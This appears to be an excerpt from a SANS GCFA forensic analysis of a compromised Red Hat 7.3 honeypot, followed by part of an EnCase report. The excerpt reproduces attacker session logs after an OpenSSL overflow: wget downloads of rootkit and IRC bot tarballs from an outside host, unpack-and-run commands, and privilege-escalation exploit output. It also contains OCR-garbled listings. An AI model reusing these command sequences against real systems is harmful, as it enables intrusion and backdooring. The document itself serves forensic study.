total 38
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 23 12:00 .X0-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-lock
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .X11
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
-rwxr-xr-x 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rw------- 1 root root 4133 Jun 20 04:14 XF86Config.test
drwx------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx------- 2 root root 1024 Jun 20 10:55 kde-root
drwx------- 2 userid1 userid1 1024 Jun 26 16:40 kssocket-userid1
drwx------- 2 root root 1024 Jun 23 11:55 kssocket-root
drwx------- 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwx------- 3 root root 1024 Jun 20 10:55 mcop-root
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwx------- 2 root root 1024 Jun 20 02:20 texconf.Nzul00wget
```

```
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
```
Kevin Miller - Sans GCFA Assignment – v1.4  Page 193

Length: 352,596 [application/x-tar]

OK .......... .......... .......... .......... .......... 14% 142.05 KB/s
50K .......... .......... .......... .......... .......... 29% 250.00 KB/s
100K .......... .......... .......... .......... .......... 43% 260.42 KB/s
150K .......... .......... .......... .......... .......... 58% 231.48 KB/s
250K .......... .......... .......... .......... .......... 87% 349.65 KB/s
300K .......... .......... .......... .......... .......... 100% 213.13 KB/s

15:11:18 (195.87 KB/s) - `s.tar.gz' saved [352596/352596]

tar -zxvf s.tar.gz;rm -rf s.tar.gz;

Is -al

total 39

drwxrwxrwt 16 root root 1024 Jun 29 15:11 .
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 23 12:00 .XO-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drw------- 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .qt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
drwxr-xr-x 4 502 502 1024 Mar 24 21:41 .s
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 xTestTest.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XP86Config.test
drwx------ 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx------ 2 root root 1024 Jun 20 10:55 kde-root
drwx------ 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drwx------ 2 root root 1024 Jun 23 11:55 ksocket-root
drwx------ 3 userid1 userid1 1024 Jun 23 12:18 mcp-userid1
drwx------ 3 root root 1024 Jun 20 10:55 mcp-root
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwx------ 2 root root 1024 Jun 20 02:20 texconf.Nzu100

cd .s
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.

```
/bin/sh: line 1: 19508 Killed su
rm -rf ls ps
bash: [19488: 1] tcsetattr: Invalid argument
bash-2.05a$ exit
```

TERM=xterm; export TERM=xterm; exec bash -i

```
uname -a; id; w;
```

```
bash-2.05a$ Linux
rhl 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user1 pts/0 - 23Jun03 6days 0.00s ? -
user1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
user1 pts/2 - Fri 8am 47:13m 0.49s 0.39s -bash
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readl
```

```
wget XXX.XXX.com/eladoht/stuff/r; chmod +x r;
warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ --15:21:42--
http://XXX.XXX.com/eladoht/stuff/r
=> `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
OK .......... ............ 100 % 76.87 KB/s
15:21:43 (76.87 KB/s) - `r' saved [19916/19916]
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ [/]
```

```
Attached to 19602
[*] Signal caught
[*] Shellcode placed at 0x4000fd1d
[*] Now wait for suid shell...
su
rm -rf r
```

```
 TERM=xterm; export TERM=xterm; exec bash -i
```

```
```
```
Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font -unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

exec bash -i

```
uname -a; id; w;
```

bash: no job control in this shell

```
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
bash
```

```
Thu Apr 18 07:37:53 EDT 2002 i686 unknown
```

```
USER CPU what
```

```
userid1 pts/0 23Jun03 6days 0.00s ? -
userid1 pts/1 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 47:20m 0.49s 0.39s -bash
```

```
cd /tmp
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
cd /tmp
```

```
ls -al
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
dir -al
```

```
total 64
drw-r-xr-x 20 root root 1024 Jun 29 15:22 ..
drw-rwxrwt 2 root root 1024 Jun 29 12:18 .ICE-unix
-r--r--r-- 1 root root 11 Jun 23 12:00 .X0-lock
drw-rwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drw-rwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drw-xr-xr-x 2 root root 1024 Jun 19 11:43 .kde
drw-xr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drw-xr-xr-x 2 root root 1024 Jun 19 11:43 .qt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
drw-xr-xr-x 4 502 502 1024 Jun 29 15:22 .s
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 29 04:14 X-Test.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drw-xr-xr-x 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drw-xr-xr-x 2 root root 1024 Jun 20 10:55 kde-root
drw-xr-xr-x 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drw-r-xr-x 2 root root 1024 Jun 23 11:55 ksocket-root
drw-xr-xr-x 3 userid1 userid1 1024 Jun 23 12:18 mcp-userid1
drw-xr-xr-x 3 root root 1024 Jun 20 10:55 mcp-root
-rw-rw-r-- 1 apache apache 24012 Jun 29 15:28 r
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drw-xr-xr-x 2 root root 1024 Jun 20 02:20 texconf.Nzu1O0
`````
readline: warning: rl_prep_terminal: cannot get terminal settings bash-

```
[19893: 1] tcgetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings bash-
```

```
cd font-unix
```
cd: font-unix: No such file or directory

cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settings bash-

```
wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x inetd/services; inetd/services;
```
get terminal settings bash-

```
=> 'bot.tgz'
```
Resolving XXX.XXX.com done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, waiting response... 404 Not Found
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcgetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
bash: get terminal settings bash-

```
wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x inetd/services; inetd/services;
```
get terminal settings bash-

```
=> 'bot.tgz'
```
Resolving XXX.XXX.com done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, waiting response... 200 OK
Length: 764,880 [application/x-tar]

```
OK ......... ......... ......... ......... ......... ......... ......... ......... ......... 6% 89.29 KB/s
50K ......... ......... ......... ......... ......... ......... ......... ......... ......... 13% 110.38 KB/s
100K ......... ......... ......... ......... ......... ......... ......... ......... ......... 20% 175.44 KB/s
150K ......... ......... ......... ......... ......... ......... ......... ......... ......... 26% 110.38 KB/s
200K ......... ......... ......... ......... ......... ......... ......... ......... ......... 33% 174.83 KB/s
250K ......... ......... ......... ......... ......... ......... ......... ......... ......... 40% 176.06 KB/s
300K ......... ......... ......... ......... ......... ......... ......... ......... ......... 46% 182.48 KB/s
350K ......... ......... ......... ......... ......... ......... ......... ......... ......... 53% 248.76 KB/s
400K ......... ......... ......... ......... ......... ......... ......... ......... ......... 60% 183.82 KB/s
450K ......... ......... ......... ......... ......... ......... ......... ......... ......... 66% 225.23 KB/s
500K ......... ......... ......... ......... ......... ......... ......... ......... ......... 73% 232.56 KB/s
550K ......... ......... ......... ......... ......... ......... ......... ......... ......... 80% 247.52 KB/s
600K ......... ......... ......... ......... ......... ......... ......... ......... ......... 87% 364.96 KB/s
650K ......... ......... ......... ......... ......... ......... ......... ......... ......... 93% 252.53 KB/s
700K ......... ......... ......... ......... ......... ......... ......... ......... ......... 100% 372.64 KB/s
```
15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]

```
.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makfile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
X11-pipe/randfiles/randkicks.e
X11-pipe/randfiles/randnicks.e
X11-pipe/randfiles/randpickup.e
X11-pipe/randfiles/randsay.e
X11-pipe/randfiles/randsignoff.e
X11-pipe/randfiles/randversions.e
X11-pipe/src/
X11-pipe/src/Makefile.in
X11-pipe/src/cfgfile.c
X11-pipe/src/channel.c
X11-pipe/src/com-ons.c
X11-pipe/src/combot.c
X11-pipe/src/commands.c
X11-pipe/src/config.h.in
X11-pipe/src/dcc.c
X11-pipe/src/debug.c
X11-pipe/src/defines.h
X11-pipe/src/function.c
X11-pipe/src/global.h
X11-pipe/src/h.h
X11-pipe/src/link.c
X11-pipe/src/main.c
X11-pipe/src/gencmd.c
X11-pipe/src/parse.c
X11-pipe/src/socket.c
X11-pipe/src/structs.h
X11-pipe/src/usage.h
X11-pipe/src/userlist.c
X11-pipe/src/vars.c
X11-pipe/src/xmech.c
X11-pipe/src/Makefile
X11-pipe/src/config.h
X11-pipe/src/gencmd
X11-pipe/src/mcmd.h
X11-pipe/src/cfgfile.o
X11-pipe/src/channel.o
X11-pipe/src/com-ons.o
X11-pipe/src/combot.o
X11-pipe/src/commands.o
X11-pipe/src/dcc.o
X11-pipe/src/debug.o
X11-pipe/src/function.o
X11-pipe/src/link.o
X11-pipe/src/main.o
X11-pipe/src/parse.o
X11-pipe/src/socket.o
X11-pipe/src/userlist.o
X11-pipe/src/vars.o
X11-pipe/src/xmech.o
X11-pipe/mech.set
X11-pipe/mec.levels
X11-pipe/LinkEvents
X11-pipe/lpd.usr
X11-pipe/W4c4r0n.seen
X11-pipe/lpd.session
X11-pipe/checklpd
X11-pipe/inetd/
X11-pipe/inetd/services
bash: [19893: 1] tcsetattr: Invalid argument

ps
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: -2.05a$ readline:
warning: rl_prep_terminal: cannot
get terminal settingsbash: -2.05a$
PID TTY TIME CMD
10606 ? 00:00:00 httpd
10607 ? 00:00:00 httpd
10608 ? 00:00:00 httpd
10609 ? 00:00:00 httpd
10610 ? 00:00:00 httpd
### ps ax

<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td>init</td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirqd_CPU0]</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdfflush]</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kudate]</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecoverd]</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>SW</td>
<td>0:00</td>
<td>[khbkd]</td>
<td></td>
</tr>
<tr>
<td>106</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>117</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>118</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>119</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sctd</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -U ntp -g</td>
<td></td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/sshd</td>
<td></td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
<td></td>
</tr>
<tr>
<td>896</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
<td></td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
<td></td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>cron</td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
<td></td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atsd</td>
<td></td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
<td></td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>671:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEeq</td>
<td></td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>--i0</td>
<td></td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td></td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcopserver --nosid</td>
<td></td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td></td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4  Page 200

<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[kssoftirqd_CPU0]</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kupdated]</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecoveryd]</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khubd]</td>
<td></td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -wP /etc/sysconfig/apm-sc</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -0 ntp -g</td>
<td></td>
</tr>
<tr>
<td>8462</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/shd</td>
<td></td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
<td></td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
<td></td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/graphicsmouse</td>
<td></td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>crond</td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
<td></td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atsd</td>
<td></td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm --nodaemon</td>
<td></td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>671:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0:gkOEqz</td>
<td></td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>:0</td>
<td></td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td></td>
</tr>
<tr>
<td>1176</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcopserver --nosid</td>
<td></td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td></td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
<td></td>
</tr>
<tr>
<td>1192</td>
<td>S</td>
<td>0:02</td>
<td>/usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -1</td>
<td></td>
</tr>
<tr>
<td>PID</td>
<td>Status</td>
<td>User</td>
<td>Time</td>
<td>Command</td>
</tr>
<tr>
<td>-----</td>
<td>--------</td>
<td>------</td>
<td>-------</td>
<td>---------------</td>
</tr>
<tr>
<td>19941</td>
<td>S</td>
<td>S</td>
<td>0:00</td>
<td>inetd/services</td>
</tr>
<tr>
<td>19948</td>
<td>R</td>
<td>R</td>
<td>0:00</td>
<td>ps ax</td>
</tr>
</tbody>
</table>

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:  
Sans GCFA Cert  
Investigating Officer:  
Kevin Miller  
12 Main  
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.  

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
Linux 7.3 Honey pot system

Device
Evidence Number: Linux 7.3 Honey pot system
File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
Examiner Name: Kevin Miller
Actual Date: 07/16/03 11:03:19AM
Target Date: 07/16/03 11:03:19AM
Total Size: 6,448,619,520 bytes (6.0GB)
Total Sectors: 12,594,960
File Integrity: Completely Verified, 0 Errors
Write Blocker: FastBloc
EnCase Version: 4.14
System Version: Windows XP
Acquisition Hash: 579720D58A61D971083F10695B8249CB
Verify Hash: 579720D58A

Partitions

<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

OS Background

OS Version /etc/issue

Red Hat Linux release 7.3 (Valhalla)

File system layout from fstab.

```
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
/swap /dev/swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
```
**Volume /boot**

**File System:** EXT3

**Sectors per cluster:** 2

**Total Sectors:** 105,777

Total Sectors: 54,157,312 bytes (51.7MB)

**Total Clusters:** 52,888

Total Clusters: 43,376,640 bytes (41.4MB)

**Free Clusters:** 42,360

**Volume Name:**

**Volume Offset:** 63

The following are bookmarks from Volume /boot
Volume /usr

Volume
File System: EXT3
Sectors per cluster: 8
Total Sectors: 7,817,040
    4,002,324,480 bytes (3.7GB)
Total Clusters: 977,130
    2,523,922,432 bytes (2.4GB)
Free Clusters: 616,192
    bytes (1.4GB)
Volume Name: 

Drive Type: Fixed
Bytes per sector: 512
Total Capacity:

Unallocated:

Allocated: 1,478,402,048 bytes (1.4GB)
Volume Offset: 105,840

The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

Volume
File System: EXT3
Drive Type: Fixed
Sectors per cluster: 8
Bytes per sector: 512
Sectors:
Total Sectors: 2,842,560
Total Clusters: 355,320
Free Clusters:
 bytes (55.5MB)
Volume Name: 7,922,880
Volume Offset: 7,922,880

The following are bookmarks from Volume /home
Volume /

**Volume**

- File System: EXT3
- Sectors per cluster: 2
- Total Sectors: 786,177
- Total Sectors: 402,522,112 bytes (383.9MB)
- Total Clusters: 393,088
- Free Clusters: 309,555
- Bytes per sector: 512
- Total Capacity: 402,522,112 bytes (383.9MB)
- Unallocated: 316,984,320 bytes (302.3MB)
- Allocated: 85,537,792
- Volume Name: Volume Offset:

The following are bookmarks from Volume /

**startup files**

**Startup Files**

6) Name: `inittab`
   Description: File
   Full Path: `SansGCFACertAssignment\Linux7.3Honeypotsystem\etc\inittab`
   Entry Modified: 06/20/03 04:14:39AM
   Last Accessed: 06/30/03 04:45:40PM
   Last Written: 06/20/03 04:14:39AM
   Hash Value: 340fae11d6076e860f7fe0e0069c2e57
   Physical Size: 2,048
   Logical Size: 1,756
   Short Name: `inittab`

Comment: The config file used for booting.

```bash
# inittab
# This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
# System initialization.
```
These scripts are used by inittab for booting

7) Name keytable
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\keytable
   Entry Modified 06/19/03 11:35:03AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 04/15/02 08:05:50AM
   Hash Value cd93e8654c65ca1dd8e6d099c06d2f6f
   Physical Size 2,048
   Logical Size 1,273
   Short Name

8) Name atd
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\atd
   Entry Modified 06/19/03 11:34:38AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 01/17/02 11:34:41AM
   Hash Value 524d785c2e2f156b8deebd1d2f6f
   Physical Size 2,048
   Logical Size 1,176
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
